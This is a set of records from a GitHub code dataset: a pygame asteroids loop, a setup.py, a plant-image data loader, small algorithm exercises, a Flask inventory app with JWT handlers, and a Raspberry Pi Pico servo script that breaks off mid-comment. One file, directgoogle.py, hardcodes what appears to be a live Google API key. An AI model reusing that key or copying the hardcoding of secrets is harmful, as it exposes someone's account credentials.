shipRect=blitShip(ship,x,y,angle)\n updateBulletLocs()\n fightBoss=level%5==0\n if not fightBoss:\n updateAsteroidLocs()\n cycleAsteroids(shipRect,0)\n stopGame=compareShipToAsteroids(shipRect)\n astListLen=deleteDestroyedAsteroids(0)\n if stopGame:\n # input(\"YOUR DEAD, Press enter to continue\")\n game_intro()\n newvals=resetGame([boss,x,y,displacement,angle,angleChange,rocketAngle,fireTeal,fireFire,fireGreen,numberofAsteroids,level,alienShipCount,stopGame,makeBoss])\n boss=newvals[0]\n x = newvals[1]\n y = newvals[2]\n displacement=newvals[3]\n angle=newvals[4]\n angleChange=newvals[5]\n rocketAngle=newvals[6]\n fireTeal=newvals[7]\n fireFire=newvals[8]\n fireGreen=newvals[9]\n numberofAsteroids=newvals[10]\n level=newvals[11]\n alienShipCount=newvals[12]\n stopGame=newvals[13]\n makeBoss=newvals[14]\n # print(newvals)\n if astListLen==0:\n generateAsteroid(asteroidImageList,numberofAsteroids)\n numberofAsteroids=numberofAsteroids+1\n level=level+1\n if level>=4:\n generateAlienShip(level-3,alienShip,bulletGreen)\n updateAlienShipLocs()\n compareAlienToBullets(0)\n fireAlienShips(shipRect)\n updateAlienBulletLocs()\n stopGame=compareShipToAlienBullets(shipRect)\n # if stopGame:\n # game_intro()\n # input(\"YOUR DEAD, Press enter to continue\")\n if fightBoss:\n if makeBoss==True:\n boss=generateBoss(alienBoss,bulletGreen)\n makeBoss=False\n boss=updateBoss(boss)\n generateBossBullets(boss)\n updateBossBullets()\n deleteOffScreenBossBullets(0)\n compareBulletsToBoss(boss,0)\n if boss.numberofTimesShot==50:\n fightBoss=False\n makeBoss=True\n level=level+1\n del boss\n stopGame=compareShipToBossBullets(shipRect)\n if stopGame:\n game_intro()\n newvals=resetGame([boss,x,y,displacement,angle,angleChange,rocketAngle,fireTeal,fireFire,fireGreen,numberofAsteroids,level,alienShipCount,stopGame,makeBoss])\n boss=newvals[0]\n x = newvals[1]\n y = newvals[2]\n displacement=newvals[3]\n angle=newvals[4]\n angleChange=newvals[5]\n rocketAngle=newvals[6]\n fireTeal=newvals[7]\n fireFire=newvals[8]\n fireGreen=newvals[9]\n numberofAsteroids=newvals[10]\n level=newvals[11]\n alienShipCount=newvals[12]\n stopGame=newvals[13]\n makeBoss=newvals[14]\n # input(\"YOUR DEAD, Press enter to continue\")\n\t#clock.tick() this slows or speeds up frame rate refresh\n pygame.display.update()\n \n\nmain()\npygame.quit()\nquit()\n\n\n\n","repo_name":"msivraj/asteroidsPython","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21875,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"20386325675","text":"#!/usr/bin/env python3\nfrom setuptools import setup, find_packages\n\nversion = '0.1.0'\n\nsetup(name='gura',\n version=version,\n description='Gura live analyzes pitch from your microphone.',\n author='Viktor Blomqvist',\n #author_email='me@mail.com',\n packages=find_packages(exclude=('tests', 'docs')))\n","repo_name":"vikblom/gura","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"9613499675","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 25 17:08:19 2020\nLoad training and test images\n@author: jpeeples\n\"\"\"\nimport pandas as pd\nimport os\nimport natsort\nfrom PIL import Image\nimport numpy as np\nimport time\nimport skimage.measure\nfrom scipy.ndimage import gaussian_filter\n\ndef extract_features(X,preprocess = 'avg',mode='rgb'):\n\n #Perform average pooling (sride and kernel are the same size)\n if preprocess == 'avg':\n if mode == 'rgb':\n X = skimage.measure.block_reduce(X, (7,7,1), np.average)\n else:\n X = skimage.measure.block_reduce(X, (7,7), np.average)\n elif preprocess == 'gauss':\n X = gaussian_filter(X,sigma=1)\n else:\n pass\n return X\n\n#Need to clean up, make one function for DAP variations\ndef load_data(csv_dir,img_dir,run_nums,train_reps = [1,2,3],test_reps = [4], \n mode='bw',preprocess = 'avg',downsample=False,ds_factor=16,\n ds_type='No_Pool'):\n\n print('Loading dataset...')\n start = time.time()\n #Load tube number key csv file\n tube_key = pd.read_csv(csv_dir)\n\n #Extract data from tube key\n tube_number = tube_key['Tube Number'].tolist()\n tube_rep = tube_key['Rep']\n tube_water_level = tube_key['Water Level']\n tube_cultivar = tube_key['Cultivar']\n \n #For each run, generate training and testing data\n training_data = []\n training_labels_water_level = []\n training_labels_cultivar = []\n training_names = []\n\n \n testing_data = []\n testing_labels_water_level = []\n testing_names = []\n testing_labels_cultivar = []\n \n for run in run_nums:\n run_dir = os.path.join(img_dir, 'Run' + str(run))\n \n #Grab gray images and labels\n for fname in natsort.natsorted(os.listdir(os.path.join(run_dir,'GT'))):\n img = Image.open(os.path.join(run_dir,'GT', fname)).convert('RGB')\n img = np.array(img)\n \n #For rgb mode, take rgb image and multiply by binary image\n if mode == 'rgb':\n rgb_dir = os.path.join(run_dir,'Images', (fname.split('GT',1)[1][1:-3] + 'jpg'))\n rgb_img = Image.open(rgb_dir).convert('RGB')\n rgb_img = np.array(rgb_img)\n img = np.multiply(rgb_img,img)\n img = extract_features(img,preprocess=preprocess,mode=mode)\n del rgb_img\n elif mode == 'bw':\n img = img[:,:,0]\n img = extract_features(img,preprocess=preprocess,mode=mode)\n else:\n raise RuntimeError('Invalid mode, only bw and rgb supported')\n \n #Find index that corresponds to image to get labels\n temp_tube_number = int(fname.split('DAP',1)[1][:-4])\n temp_index = tube_number.index(temp_tube_number)\n \n #Downsample image\n if downsample:\n if ds_type == 'No_Pool':\n img = img[::ds_factor,::ds_factor]\n elif ds_type == 'Avg_Pool':\n if mode == 'rgb':\n img = skimage.measure.block_reduce(img, (ds_factor,ds_factor,1), np.average)\n else:\n img = skimage.measure.block_reduce(img, (ds_factor,ds_factor), np.average)\n elif ds_type == 'Max_Pool':\n if mode == 'rgb':\n img = skimage.measure.block_reduce(img,(ds_factor,ds_factor,1), np.max)\n else:\n img = skimage.measure.block_reduce(img, (ds_factor,ds_factor), np.max)\n \n #Break up data into training and test\n if tube_rep[temp_index] in train_reps:\n training_data.append(img)\n training_labels_water_level.append(tube_water_level[temp_index])\n training_labels_cultivar.append(tube_cultivar[temp_index])\n training_names.append('Run_' + str(run) + ': ' +fname.split('GT',1)[1][1:-4])\n elif tube_rep[temp_index] in test_reps:\n testing_data.append(img)\n testing_labels_water_level.append(tube_water_level[temp_index])\n testing_labels_cultivar.append(tube_cultivar[temp_index])\n testing_names.append('Run_' + str(run) + ': ' +fname.split('GT',1)[1][1:-4])\n else:\n raise RuntimeError('Rep not present in train or test data') \n \n \n #Return dictionary of dataset\n training_data = np.stack(training_data,axis=0)\n training_labels_water_level = np.stack(training_labels_water_level,axis=0)\n training_labels_cultivar = np.stack(training_labels_cultivar,axis=0)\n training_names = np.stack(training_names,axis=0)\n testing_data = np.stack(testing_data,axis=0)\n testing_labels_water_level = np.stack(testing_labels_water_level,axis=0)\n testing_labels_cultivar = np.stack(testing_labels_cultivar,axis=0)\n testing_names = np.stack(testing_names,axis=0)\n \n train_dataset = {'data': training_data, \n 'water_level_labels': training_labels_water_level,\n 'cultivar_labels': training_labels_cultivar,\n 'train_names': training_names}\n test_dataset = {'data': testing_data, \n 'water_level_labels': testing_labels_water_level,\n 'cultivar_labels': testing_labels_cultivar,\n 'test_names': testing_names}\n dataset = {'train': train_dataset,'test': test_dataset}\n\n time_elapsed = time.time() - start\n \n print('Loaded dataset in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))\n \n #Print information about dataset:\n print('Total Number of Images: {}'.format(len(training_data)+len(testing_data)))\n print('Water Levels: {}'.format(np.unique(training_labels_water_level)*100))\n print('Cultivar: {}'.format(np.unique(training_labels_cultivar)))\n return dataset\n \n \n \n \n \n \n ","repo_name":"GatorSense/STARSEED","sub_path":"Utils/Load_Data.py","file_name":"Load_Data.py","file_ext":"py","file_size_in_byte":6092,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"76"} +{"seq_id":"7928271312","text":"# Given an array nums, write a function to move all 0's to the end of it\n# while maintaining the relative order of the non-zero elements.\n#\n# For example, given nums = [0, 1, 0, 3, 12], after calling your function, nums should be [1, 3, 12, 0, 0].\n#\n# Note:\n# You must do this in-place without making a copy of the array.\n# Minimize the total number of operations.\n#\n# Tags: Array, Two Pointers\n# Difficulty: Easy\n\n\nclass Solution(object):\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n len_nums = len(nums)\n\n z = 0\n while z < len_nums and nums[z] != 0:\n z += 1\n if z == len_nums:\n return\n\n i = z + 1\n while i < len_nums:\n if i < z or nums[i] == 0:\n i += 1\n continue\n\n nums[z], nums[i] = nums[i], 0\n z += 1\n while nums[z] != 0:\n z += 1\n","repo_name":"lostarray/LeetCode","sub_path":"283_Move_Zeroes.py","file_name":"283_Move_Zeroes.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"34150929171","text":"import json\nimport pickle\nfrom os.path import join\n\n\nclass Writer(object):\n \n def __init__(self, folder='dataset'):\n \"\"\"\n init folder\n :param folder:\n \"\"\"\n self.folder = folder\n \n def write_to_txt(self, data, file_name):\n \"\"\"\n write to txt line by line\n :param data: data of array\n :param file_name: target_file\n :return:\n \"\"\"\n print('Write %d items to %s' % (len(data), file_name))\n with open(join(self.folder, file_name), 'w', encoding='utf-8') as f:\n for item in data:\n f.write(item)\n f.write('\\n')\n \n def write_to_json(self, data, file_name, ensure_ascii=False):\n \"\"\"\n write to json\n :param data: data\n :param file_name: target_file\n :param ensure_ascii: ensure ascii\n :return:\n \"\"\"\n print('Write %d items to %s' % (len(data), file_name))\n with open(join(self.folder, file_name), 'w', encoding='utf-8') as f:\n f.write(json.dumps(data, ensure_ascii=ensure_ascii))\n \n def write_to_pickle(self, data, file_name):\n \"\"\"\n output data to pickle file\n :param data: data\n :param file_name: pickle\n :return:\n \"\"\"\n print('Write %d items to %s' % (len(data), file_name))\n with open(join(self.folder, file_name), 'wb') as f:\n pickle.dump(data, f)\n","repo_name":"Germey/TextSummarization","sub_path":"preprocess/writer.py","file_name":"writer.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"76"} +{"seq_id":"36338060640","text":"from .resources import (userblueprint, itemsblueprint, supplierblueprint,\n customerblueprint, confirmationblueprint, purchaseaccountsblueprint,\n paymentaccountsblueprint, salesaccountblueprint, expenseaccountingblueprint, invoiceblueprint,\n receiptblueprint, bankbalanceblueprint, inventorybalanceblueprint, customerbalanceblueprint,\n supplierbalanceblueprint, inventoryadjustmentblueprint, transactionblueprint, catchallblueprint,\n reportsblueprint, uploadsblueprint, expensesblueprint)\nfrom .tranx_resources import purchasingblueprint, paymentblueprint, salesblueprint, customerpaymentblueprint\nfrom flask import Flask, jsonify, render_template\nfrom flask_smorest import Api\nfrom flask_cors import CORS\nfrom flask_jwt_extended import JWTManager\nfrom .db import db\nfrom flask_migrate import Migrate\nfrom dotenv import load_dotenv\nfrom .blocklist import TokenBlocklist\n\nmigrate = Migrate()\ncors = CORS()\n\n\ndef create_app():\n # change application settings to config for prod\n app = Flask(__name__, static_folder='static', template_folder='templates')\n load_dotenv(\".env\", verbose=True)\n\n app.config.from_object(\"invapp.default_config\")\n app.config.from_envvar(\"APPLICATION_SETTINGS\")\n # app.config.from_pyfile(\"config.py\")\n db.init_app(app)\n api = Api(app)\n cors.init_app(app, resources={r\"*\": {\"origins\": \"*\"}})\n migrate.init_app(app, db)\n jwt = JWTManager(app)\n\n @app.route('/', defaults={'path': ''})\n @app.route('/')\n def catch_all(path):\n return render_template(\"index.html\")\n\n @jwt.token_in_blocklist_loader\n def check_if_token_revoked(jwt_header, jwt_payload: dict) -> bool:\n jti = jwt_payload[\"jti\"]\n token = db.session.query(TokenBlocklist.id).filter_by(jti=jti).scalar()\n\n return token is not None\n\n @jwt.revoked_token_loader\n def revoked_token_callback(jwt_header, jwtpayload):\n return (\n jsonify(\n {\"description\": \"token was revoked\", \"error\": \"token revoked\"}\n ), 401\n )\n\n @jwt.expired_token_loader\n def expired_token_callback(jwt_header, jwt_payload):\n return (\n jsonify({\"message\": \"Token has expired\", \"error\": \"Token_expired\"}),\n 401\n )\n\n @jwt.needs_fresh_token_loader\n def needs_fresh_token_loader(jwt_header, jwt_payload):\n return (\n jsonify(\n {\"description\": \"token is not fresh\",\n \"error\": \"fresh_token_required\"}\n )\n )\n\n @jwt.invalid_token_loader\n def invalid_token_callback(error):\n return (\n jsonify({\"message\": \"Signature verification failed\", \"error\": \"Invalid_token\"}),\n 401\n )\n\n @jwt.unauthorized_loader\n def missing_token_callback(error):\n return (\n jsonify(\n {\n \"description\": \"Request does not contain an access token\",\n \"error\": \"authorization required\"\n }\n ), 401\n )\n\n with app.app_context():\n db.create_all()\n\n api.register_blueprint(userblueprint)\n api.register_blueprint(itemsblueprint)\n api.register_blueprint(supplierblueprint)\n api.register_blueprint(customerblueprint)\n api.register_blueprint(confirmationblueprint)\n api.register_blueprint(purchasingblueprint)\n api.register_blueprint(paymentaccountsblueprint)\n api.register_blueprint(purchaseaccountsblueprint)\n api.register_blueprint(paymentblueprint)\n api.register_blueprint(salesblueprint)\n api.register_blueprint(salesaccountblueprint)\n api.register_blueprint(customerpaymentblueprint)\n api.register_blueprint(expenseaccountingblueprint)\n api.register_blueprint(invoiceblueprint)\n api.register_blueprint(receiptblueprint)\n api.register_blueprint(bankbalanceblueprint)\n api.register_blueprint(inventorybalanceblueprint)\n api.register_blueprint(customerbalanceblueprint)\n api.register_blueprint(supplierbalanceblueprint)\n api.register_blueprint(inventoryadjustmentblueprint)\n api.register_blueprint(transactionblueprint)\n api.register_blueprint(reportsblueprint)\n api.register_blueprint(uploadsblueprint)\n api.register_blueprint(expensesblueprint)\n\n return app\n","repo_name":"brian-mugami/inventory_app_flask_backend","sub_path":"backend/invapp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"34173839969","text":"compare = 0\ndef mergeSort(l):\n global compare\n if len(l)>1:\n mid = len(l)//2\n left = l[:mid]\n right = l[mid:]\n mergeSort(left)\n mergeSort(right)\n c1, c2, c3 = 0, 0, 0\n while c1 < len(left) and c2 < len(right):\n if left[c1] < right[c2]:\n l[c3] = left[c1]\n c1 += 1\n else:\n l[c3] = right[c2]\n c2 += 1\n c3 += 1\n compare += 1\n while c1 < len(left):\n l[c3] = left[c1]\n c1 += 1\n c3 += 1\n while c2 < len(right):\n l[c3] = right[c2]\n c2 += 1\n c3 += 1 \n\nprint(' *** Merge sort ***')\ninp = [int(i) for i in input('Enter some numbers : ').split(' ')]\nmergeSort(inp)\nprint(\"\\nSorted -> \", end='')\nfor i in range(len(inp)):\n print(inp[i], end=\" \")\nprint('\\nData comparison = ', compare)","repo_name":"Tnp-Sr/Lab_Data-Structures","sub_path":"Test4/p5.py","file_name":"p5.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"44365402686","text":"def solution(arr1, arr2):\r\n # ➊ 행렬 arr1과 arr2의 행과 열의 수\r\n r1, c1 = len(arr1), len(arr1[0])\r\n r2, c2 = len(arr2), len(arr2[0])\r\n \r\n # ➋ 결과를 저장할 2차원 리스트 초기화\r\n ret = [[0] * c2 for _ in range(r1)]\r\n\r\n # ➌ 첫 번째 행렬 arr1의 각 행과 두 번째 행렬 arr2의 각 열에 대해\r\n for i in range(r1):\r\n for j in range(c2):\r\n # ➍ 두 행렬의 데이터를 곱해 결과 리스트에 더해줌\r\n for k in range(c1):\r\n ret[i][j] += arr1[i][k] * arr2[k][j]\r\n return ret\r\n","repo_name":"dremdeveloper/codingtest_python","sub_path":"solution/05.py","file_name":"05.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"ko","doc_type":"code","stars":40,"dataset":"github-code","pt":"76"} +{"seq_id":"71174110643","text":"from SOAPpy import WSDL\n\n# you'll need to configure these two values;\n# see http://www.google.com/apis/\nWSDLFILE = '/home/cronuser/stats/GoogleSearch.wsdl'\nAPIKEY = 'oaiAhUtQFHIBLkPQ25A5u+EOItzW0PaK'\n\n_server = WSDL.Proxy(WSDLFILE)\ndef search(q, restrict=[], lr=''):\n \"\"\"Search Google and return their object thing.\"\"\"\n resluts = _server.doGoogleSearch(\n APIKEY, q, 0, 10, False, \".\".join(restrict), False, lr, \"utf-8\", \"utf-8\")\n return resluts\n","repo_name":"cc-archive/stats","sub_path":"directgoogle.py","file_name":"directgoogle.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9407668933","text":"import unittest\n\nimport torch\nimport torchvision\nimport numpy as np\n\nfrom CNNScan.Mark import gan\nimport CNNScan.Mark.Settings\n\n# Check that the (discriminator, generator) pair works without crashing.\nclass TestMarkGan(unittest.TestCase):\n\t\t\n\t# Check that the (discriminator, generator) pair runs\n\tdef test_gan_pair(self):\n\t\tconfig = CNNScan.Mark.Settings.generate_default_settings()\n\t\tconfig['epochs'] = 1\n\n\t\ttransforms = torchvision.transforms.Compose([\n \t\t\t\t\t\t\t\t\t\t\t torchvision.transforms.ToTensor()\n\t\t\t\t\t\t\t\t\t\t\t])\n\t\t\t\t\t\t\t\t\t\t\t\n\t\tdata = CNNScan.Mark.gan.get_marks_dataset(CNNScan.Mark, transforms)\n\t\tloader = torch.utils.data.DataLoader(data, batch_size=config['batch_size'], shuffle=True)\n\n\t\t# Create discriminator, generators for GAN.\n\t\tdisc_model = CNNScan.Mark.gan.MarkDiscriminator(config)\n\t\tgen_model = CNNScan.Mark.gan.MarkGenerator(config, config['gen_seed_len'])\n\n\t\tif False:\n\t\t\tprint(disc_model)\n\t\t\tprint(gen_model)\n\n\t\tCNNScan.Mark.gan.train_once(config, gen_model, disc_model, loader, loader)\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"Matthew-McRaven/ConvVote","sub_path":"CNNScan/tests/test_mark_gan.py","file_name":"test_mark_gan.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32609053581","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 19 10:38:09 2023\n\n@author: nikos\n\"\"\"\n\ns=input()\n\nt=s.replace(\"A\", '%temp').replace(\"T\", \"A\").replace('%temp', \"T\").replace(\"G\",'%temp').replace(\"C\",\"G\").replace(\"%temp\", \"C\")\ncomplementary_s=t[::-1]\ncomplementary_s","repo_name":"IceGreb/Rosalind","sub_path":"reversed_complement_rosalind.py","file_name":"reversed_complement_rosalind.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33672211366","text":"\"\"\"\n#############################################################################################################\n\nneural network models for LAVA object classification\n\n alex 2019\n\n#############################################################################################################\n\"\"\"\n\nimport numpy as np\nimport random as rn\nimport cnfg as cf\n\n# NOTE seed must be set before importing anything from Keras or TF\n# https://keras.io/getting-started/faq/#how-can-i-obtain-reproducible-results-using-keras-during-development\nif __name__ == '__main__':\n args = cf.get_args()\n cnfg = cf.get_config( args[ 'CONFIG' ] )\n np.random.seed( cnfg[ 'seed' ] )\n rn.seed( cnfg[ 'seed' ] )\n\nimport os\nimport sys\nimport time\n\nimport tensorflow as tf\nfrom keras import backend as K\n\nimport mesg as ms\nimport arch as ar\nimport trainer as tr\nimport pack_lava as pl\n\n\nSAVE = False\nFRMT = \"%y-%m-%d_%H-%M-%S\"\n\ndir_res = 'res'\ndir_log = 'log'\ndir_eval = 'eval'\ndir_cnfg = 'config'\ndir_src = 'src'\n\nlog_err = os.path.join( dir_log, \"log.err\" )\nlog_out = os.path.join( dir_log, \"log.out\" )\nlog_msg = os.path.join( dir_log, \"log.msg\" )\nlog_time = os.path.join( dir_log, \"log.time\" )\n\nnn = None\ndir_current = None\n\n\n\ndef init_config():\n \"\"\" -----------------------------------------------------------------------------------------------------\n Initialization\n ----------------------------------------------------------------------------------------------------- \"\"\"\n global dir_current\n\n dir_current = os.path.join( dir_res, time.strftime( FRMT ) )\n os.makedirs( dir_current )\n os.makedirs( os.path.join( dir_current, dir_log ) )\n\n # redirect stderr and stdout in log files\n if args[ 'REDIRECT' ]:\n le = os.path.join( dir_current, log_err )\n lo = os.path.join( dir_current, log_out )\n sys.stderr = open( le, 'w' )\n sys.stdout = open( lo, 'w' )\n\n # how to restore\n # sys.stdout = sys.__stdout__\n\n #exec( \"from {} import cnfg\".format( args[ 'CONFIG' ] ) )\n\n cnfg[ 'dir_current' ] = dir_current\n cnfg[ 'log_msg' ] = os.path.join( dir_current, log_msg )\n\n # visible GPUs - must be here, before all the keras stuff\n n_gpus = eval( args[ 'GPU' ] )\n if isinstance( n_gpus, int ):\n os.environ[ \"CUDA_VISIBLE_DEVICES\" ] = str( list( range( n_gpus ) ) )[ 1 : -1 ]\n elif isinstance( n_gpus, ( tuple, list ) ):\n os.environ[ \"CUDA_VISIBLE_DEVICES\" ] = str( n_gpus )[ 1 : -1 ]\n n_gpus = len( n_gpus )\n else:\n ms.print_err( \"GPUs specification {} not valid\".format( n_gpus ) ) \n cnfg[ 'n_gpus' ] = n_gpus\n\n # GPU memory fraction\n if n_gpus > 0:\n tf.set_random_seed( cnfg[ 'seed' ] )\n tf_cnfg = tf.ConfigProto()\n tf_cnfg.gpu_options.per_process_gpu_memory_fraction = args[ 'FGPU' ]\n tf_session = tf.Session( config=tf_cnfg )\n K.set_session( tf_session )\n\n if not cnfg[ 'data_class' ] in pl.categories:\n ms.print_err( \"Category {} not valid\".format( cnfg[ 'data_class' ] ) ) \n\n # specialize image shape according to data category\n h, w = pl.sizes[ cnfg[ 'data_class' ] ]\n cnfg[ 'img_size' ] = ( w, h, 3 )\n\n # share globals\n ar.cnfg = cnfg\n tr.cnfg = cnfg\n\n\n\ndef create_model():\n \"\"\" -----------------------------------------------------------------------------------------------------\n Model architecture and weight training\n ----------------------------------------------------------------------------------------------------- \"\"\"\n global nn, test_set, test_str\n\n ar.TRAIN = args[ 'TRAIN' ]\n nn = ar.create_model()\n\n if args[ 'LOAD' ] is not None:\n if not ar.load_model( nn, args[ 'LOAD' ] ):\n ms.print_err( \"Failed to load weights from {}\".format( args[ 'LOAD' ] ) ) \n\n if args[ 'TRAIN' ]:\n lg = os.path.join( dir_current, log_time )\n hs = tr.train_model( nn, lg )\n tr.plot_history( hs, os.path.join( dir_current, 'loss' ) )\n\n if SAVE:\n ar.save_model( nn )\n\n\ndef archive():\n \"\"\" -----------------------------------------------------------------------------------------------------\n Archiving\n ----------------------------------------------------------------------------------------------------- \"\"\"\n # save config files\n if args[ 'ARCHIVE' ] >= 1:\n d = os.path.join( dir_current, dir_cnfg )\n cfile = args[ 'CONFIG' ]\n os.makedirs( d )\n os.system( \"cp {} {}\".format( cfile, d ) )\n\n # save python sources\n if args[ 'ARCHIVE' ] >= 2:\n d = os.path.join( dir_current, dir_src )\n pfile = \"src/*.py\"\n os.makedirs( d )\n os.system( \"cp {} {}\".format( pfile, d ) )\n\n\n# ===========================================================================================================\n\nif __name__ == '__main__':\n init_config()\n if args[ 'ARCHIVE' ] > 0:\n archive()\n create_model()\n\n# ===========================================================================================================\n","repo_name":"alex-me/nencog","sub_path":"alex/nlava/keras/exec_main.py","file_name":"exec_main.py","file_ext":"py","file_size_in_byte":5615,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"38393586544","text":"import os\n\nimport cv2\nimport numpy as np\n\nfrom pca import PCA, psnr\n\n\ndef read_face(file_path):\n file_list = os.listdir(file_path) # 读取文件夹内文件\n data = []\n show_data = []\n size = (60, 60) # 压缩原始图片大小以加快处理速度\n for file in file_list:\n path = os.path.join(file_path, file)\n img_gray = cv2.imread(path, cv2.IMREAD_GRAYSCALE) # 读取灰度图\n img_gray = cv2.resize(img_gray, size) # 图片压缩\n # 图片混合()\n if len(show_data) == 0:\n show_data = img_gray\n else:\n show_data = np.hstack([show_data, img_gray])\n h, w = img_gray.shape\n data_gray = img_gray.reshape(h * w) # 图片拉伸\n data.append(data_gray) # 加入处理数据集中\n cv2.imwrite('original pic.jpg', np.array(show_data))\n cv2.imshow('original picture', np.array(show_data)) # 显示图片\n cv2.waitKey(0)\n return np.mat(np.array(data)).T, size\n\n\ndef pic_handle(img_data, sd, ori_size):\n \"\"\"\n 做PCA处理之后,在还原到原来的维度,然后显示,之后输出信噪比\n \"\"\"\n Pca = PCA(sd, img_data)\n c_data, w_star = Pca.pca() # 进行pca降维,获取投影矩阵\n w_star = np.real(w_star)\n print(w_star)\n new_data = w_star * w_star.T * c_data + Pca.mean # 还原到原来的维度\n total_img = []\n # 图片混合\n for i in range(Pca.data_size):\n if len(total_img) == 0:\n total_img = new_data[:, i].T.reshape(ori_size)\n else:\n total_img = np.hstack([total_img, new_data[:, i].T.reshape(ori_size)])\n # 计算信噪比\n print('信噪比:')\n for i in range(Pca.data_size):\n a = psnr(np.array(data[:, i].T), np.array(new_data[:, i].T))\n print('图', i, '的信噪比为:', a, 'dB')\n # 处理图片\n total_img = np.array(total_img).astype(np.uint8)\n cv2.imwrite('pca image.jpg', total_img) # 图片显示\n cv2.imshow('pca image', total_img)\n cv2.waitKey(0)\n\n\nsmall_d = 2\ndata, ori_size = read_face('pic')\npic_handle(data, small_d, ori_size)\n","repo_name":"GuiQuQu/ML_lab","sub_path":"lab4/picHandle.py","file_name":"picHandle.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32057802641","text":"class ModelLoader:\n\n def __init__(self, filename, swap_yz=False):\n self.vertices = []\n self.normals = []\n self.texture_coords = []\n self.faces = []\n\n self.filename = filename\n self.swap_yz = swap_yz\n\n self.parse_model_obj()\n\n def parse_model_obj(self):\n \"\"\"Parse model with .OBJ file format.\"\"\"\n\n for line in open(self.filename, \"r\"):\n if line.startswith('#'):\n continue\n\n values = line.split()\n\n if not values:\n continue\n\n line_symbol = values[0]\n\n # Geometric vertices, with (x, y, z [,w])\n # Note: w is optional and defaults to 1.0\n if line_symbol == 'v':\n v = list(map(float, values[1:4]))\n if self.swap_yz:\n v = v[0], v[2], v[1]\n self.vertices.append(v)\n\n # Vertex normals in (x,y,z)\n elif line_symbol == 'vn':\n v = list(map(float, values[1:4]))\n if self.swap_yz:\n v = v[0], v[2], v[1]\n self.normals.append(v)\n\n # Texture coordinates, in (u, [v ,w])\n elif line_symbol == 'vt':\n self.texture_coords.append(list(map(float, values[1:3])))\n\n # Polygonal face element\n elif line_symbol == 'f':\n face = []\n texture_coords = []\n norms = []\n\n for v in values[1:]:\n w = v.split('/')\n face.append(int(w[0]))\n\n if len(w) >= 2 and len(w[1]) > 0:\n texture_coords.append(int(w[1]))\n else:\n texture_coords.append(0)\n\n if len(w) >= 3 and len(w[2]) > 0:\n norms.append(int(w[2]))\n else:\n norms.append(0)\n\n self.faces.append((face, norms, texture_coords))\n","repo_name":"SebastianMuszynski/augmented-reality","sub_path":"model_loader.py","file_name":"model_loader.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36270471682","text":"import socket\nimport network\nimport time\nfrom machine import Pin, Timer, PWM\nfrom MotorFunctions import *\n\nclass Servo:\n \"\"\" A simple class for controlling a 9g servo with the Raspberry Pi Pico.\n Original code from: https://how2electronics.com/how-to-control-servo-motor-with-raspberry-pi-pico/\n \"\"\"\n \n def __init__(self, pin: int or Pin or PWM, maxRotationDegrees = 180, zeroDegreesCycle=2500, maxDegreesCycle=7500):\n if isinstance(pin, int):\n pin = Pin(pin, Pin.OUT)\n if isinstance(pin, Pin):\n self.__pwm = PWM(pin)\n if isinstance(pin, PWM):\n self.__pwm = pin\n self.__pwm.freq(50)\n self.zeroDegreesCycle = zeroDegreesCycle\n self.maxDegreesCycle = maxDegreesCycle\n self.period = maxDegreesCycle - zeroDegreesCycle\n self.maxRotationDegrees = maxRotationDegrees\n \n def stop(self):\n \"\"\" Stop signal to the servo.\n \n \"\"\"\n self.__pwm.deinit()\n \n def gotoDegrees(self, degrees: int):\n \"\"\" Moves the servo to the specified position in degrees.\n \"\"\"\n\n cycle = int(self.zeroDegreesCycle + self.period * degrees / self.maxRotationDegrees)\n self.__pwm.duty_u16(cycle)\n \n def gotoMiddle(self):\n \"\"\" Moves the servo to the middle.\n \"\"\"\n self.gotoDegrees(int(self.maxRotationDegrees / 2))\n \n def free(self):\n \"\"\" Allows the servo to be moved freely.\n \"\"\"\n self.__pwm.duty_u16(0)\n \n \nclass Servo9GR(Servo):\n \"\"\" Specific servo: 9GR \"\"\"\n def __init__(self, pin):\n super().__init__(pin, 180, 1000, 9000)\n\n\n# Create a servo object connected to GP0\ns = Servo9GR(0)\ndegree = 90\ns.stop();\n\n# This code blinks the onboard LED... useful to know it is alive\n# led = Pin(\"LED\", Pin.OUT)\n# def blink(timer):\n# led.toggle()\n# \n# timer = Timer()\n# timer.init(freq=2.5, mode=Timer.PERIODIC, callback=blink)\n\n# Create the led objects on GP1 and GP2 and define conveniet 